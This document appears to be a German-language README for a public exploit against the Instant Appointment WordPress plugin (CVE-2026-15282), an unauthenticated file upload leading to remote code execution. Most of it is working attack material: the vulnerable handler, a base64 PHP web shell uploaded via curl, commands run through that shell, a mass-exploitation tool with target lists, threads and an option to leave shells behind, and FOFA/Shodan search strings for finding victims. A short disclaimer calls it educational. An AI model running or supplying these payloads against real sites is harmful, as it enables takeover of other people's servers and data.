
Instant Appointment <= 1.2 — Nicht authentifizierter beliebiger Datei-Upload zu RCE über add_service_front AJAX | CVSS 9.8
CVE-2026-15282 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle für willkürlichen Dateiupload im Instant Appointment WordPress-Plugin (≤ 1.2).
Die AJAX-Aktion add_service_front ist über wp_ajax_nopriv_ für nicht authentifizierte Benutzer registriert. Der Handler übergibt benutzerbereitgestellte image_url und image_name direkt an file_get_contents() und file_put_contents() ohne jegliche Dateityp- oder Erweiterungsprüfung.
| Version | Status |
|---|---|
| ≤ 1.2 | Anfällig |
| > 1.2 | Kein Patch verfügbar — Plugin entfernen |
// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
$image_data = file_get_contents($image_url); // lädt von JEDER URL herunter
$file = $upload_dir['path'] . '/' . $file_name; // verwendet den Dateinamen des Angreifers
file_put_contents($file, $image_data); // keine Erweiterungsprüfung!
}
Der AJAX-Handler akzeptiert jede image_url (einschließlich data://-URIs) und schreibt jede image_name direkt in das WordPress-Uploads-Verzeichnis.
POST /wp-admin/admin-ajax.php?action=add_service_front
image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
image_name=think_xxx.php
→ PHP-Webshell geschrieben nach wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id
git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt
python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup
-t, --target Einzelnes Ziel
-f, --file Zielliste
-o, --output RCE-URLs in Datei speichern
--threads Arbeiter (Standard: 25)
--no-cleanup Shells auf Ziel belassen
--debug Jede Anfrage anzeigen
-v, --verbose Ausführliche Ausgabe
$ python cve_2026_15282.py -t target.com
⠋ Scanning target... → OK Scanning target...
Host : target.com
Plugin : YES
Upload : YES
RCE : YES
Shell : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
Output : uid=33(www-data) gid=33(www-data)
[.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
[RCE] target.com https://target.com/wp-content/uploads/2026/07/think_xxx.php
# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0
# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=add_service_front' \
-d 'service_name=test' \
-d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
-d 'image_name=shell.php' \
-d 'image_size=100' \
-d 'image_type=image/jpeg' \
-d 'service_price_sale=1' \
-d 'service_price_reg=1' \
-d 'service_category[]=1' \
-d 'service_duration=60' \
-d 'service_author=1'
# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'
FOFA: body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
| Ressource | Link |
|---|---|
| WPScan |
Nicht verbunden mit tenteeglobal oder Instant Appointment.
| wpscan.com/vulnerability/b3457e95 |
| Wordfence | wordfence.com |
| NVD | CVE-2026-15282 |
| Forscher | Random Robbie (What Security) |